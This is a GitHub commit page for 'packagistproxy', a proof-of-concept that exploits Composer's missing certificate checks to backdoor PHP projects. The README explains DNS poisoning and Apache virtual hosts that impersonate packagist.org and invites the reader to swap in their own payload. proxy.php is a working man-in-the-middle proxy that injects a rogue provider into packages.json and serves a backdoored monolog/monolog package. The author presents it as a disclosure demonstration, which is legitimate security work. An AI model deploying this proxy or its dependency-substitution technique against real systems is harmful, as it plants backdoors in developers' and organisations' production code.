Skip to content

Commit b7aad70

Browse files
author
csteipp
committed
Initial commit
1 parent 956de85 commit b7aad70

File tree

4 files changed

+136
-1
lines changed

4 files changed

+136
-1
lines changed

README.md

Lines changed: 64 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,65 @@
11
# packagistproxy
2-
Backdoor projects that use composer (exploit for https://github.com/composer/composer/issues/1074)
2+
Backdoor projects that use composer (exploit https://github.com/composer/composer/issues/1074)
3+
4+
This exploits composer's lack of certificate checking to drop a backdoored verson of an included library into a projects codebase.
5+
6+
This is for demonstration only, etc, etc. Hopefully this will show people why they shouldn't automatically run composer when deploying code into production until composer fixes their certificate checking.
7+
8+
# Setup
9+
10+
To exploit this issue, you have to get in the middle of a user's connection to packagist.org. For demo's, it's easiest to set a victim's dns to point to the attacker, but there are obviously plenty of other ways to get in the middle of a connection.
11+
12+
Once we're a MITM, we override a packagist's package definition with our own. It looks like composer uses that last defined definition for a package, so adding a extra provider at the end of packages.json seems to work well for now.
13+
14+
In this demo, the provider (re-)defines monolog/monolog. Not to pick on them as a project, but's it a popular one and in use by MediaWiki. The new definition points to my own version of monolog (https://github.com/Stype/monolog) for all versions of monolog currently defined (up to 1.15.0).
15+
16+
If you want change the payload (you probably do), update monolog.json to point to the repository and commit of your choice. Then run
17+
18+
```
19+
sha256sum monlog.json
20+
```
21+
22+
to get the sha256 hash of that file. You'll need to update the hash in p-attack.json. The proxy.php script will automatically calculate the sha256 of p-attack.json when inserting the definition into package.json.
23+
24+
# Poisen DNS
25+
26+
For testing, on the victim I set a local hosts directive to point to my webserver (192.168.1.143).
27+
28+
/etc/hosts:
29+
```
30+
192.168.1.143 packagist.org
31+
```
32+
33+
34+
On my webserver, I have apache running with both http and https sites defined. Composer randomly uses both http and https, so the server needs to respond to both.
35+
36+
ssl.conf:
37+
```
38+
<VirtualHost 192.168.1.143:443>
39+
ServerName packagist.org
40+
DocumentRoot /srv/www/htdocs/packagistproxy
41+
42+
ErrorLog /var/log/apache2/ssl-error.log
43+
TransferLog /var/log/apache2/ssl-access.log
44+
SSLEngine on
45+
SSLCertificateFile /etc/apache2/ssl.crt/server.crt
46+
SSLCertificateKeyFile /etc/apache2/ssl.key/server.key
47+
48+
RewriteEngine on
49+
RewriteRule ^(.*)$ /proxy.php?url=$1
50+
</VirtualHost>
51+
```
52+
53+
and vhosts.conf:
54+
```
55+
<VirtualHost 192.168.1.143:80>
56+
ServerName packagist.org
57+
DocumentRoot /srv/www/htdocs/packagistproxy
58+
RewriteEngine on
59+
RewriteRule ^(.*)$ /proxy.php?url=$1
60+
</VirtualHost>
61+
```
62+
63+
64+
65+

monolog.json

Lines changed: 1 addition & 0 deletions
Large diffs are not rendered by default.

p-attack.json

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
{"providers":{"monolog\/monolog":{"sha256":"6f766875ca75df522c576a1b79cb4f6216cf82b808bb3d5e2b94a9a9b95cf50b"}}}

proxy.php

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
<?php
2+
3+
$url = $_GET['url'];
4+
$method = $_SERVER['REQUEST_METHOD'];
5+
$https = $_SERVER['HTTPS'];
6+
7+
$furl = ( $https == 'on' ) ? "https://" : "http://";
8+
$furl .= "packagist.org$url";
9+
10+
debuglog( "Call ($method):$https to '$furl'" );
11+
12+
13+
if ( $url == '/packages.json' ) {
14+
15+
$data = getPackagist( $furl, $https );
16+
$attackfile = file_get_contents( './p-attack.json' );
17+
$hash = hash( 'sha256', $attackfile );
18+
$data = str_replace( '}}}', '},"p\/provider-attack$%hash%.json":{"sha256":"'.$hash.'"}}}', $data );
19+
debuglog( "New packages.json: $data" );
20+
21+
} elseif ( preg_match( '#^/p/provider-attack#', $url ) ) {
22+
23+
$data = file_get_contents( './p-attack.json' );
24+
debuglog( "Sending attack provider: $data" );
25+
26+
} elseif ( preg_match( '#^/p/monolog/monolog#', $url ) ) {
27+
28+
$data = file_get_contents( './monolog.json' );
29+
debuglog( "Sending attack monolog: $data" );
30+
31+
} else {
32+
33+
$data = getPackagist( $furl, $https );
34+
35+
}
36+
37+
echo $data;
38+
39+
40+
function getPackagist( $furl, $https ) {
41+
$ch = curl_init();
42+
curl_setopt( $ch, CURLOPT_URL, $furl );
43+
curl_setopt( $ch, CURLOPT_HEADER, 0 );
44+
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
45+
46+
if ( $https == 'on' ) {
47+
curl_setopt( $ch, CURLOPT_PORT , 443 );
48+
curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );
49+
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, 0 );
50+
}
51+
52+
$data = curl_exec( $ch );
53+
54+
$info = curl_getinfo( $ch );
55+
56+
if ( curl_errno( $ch ) ) {
57+
debuglog( "Curl error: ".curl_error($ch) );
58+
}
59+
60+
$hash = hash( 'sha256', $data );
61+
62+
debuglog( "Response from {$info['url']} ({$info['http_code']}): {$info['content_type']}, $hash" );
63+
64+
return $data;
65+
}
66+
67+
68+
function debuglog( $msg ) {
69+
file_put_contents( '/tmp/proxy.log', "$msg\n", FILE_APPEND );
70+
}

0 commit comments

Comments
 (0)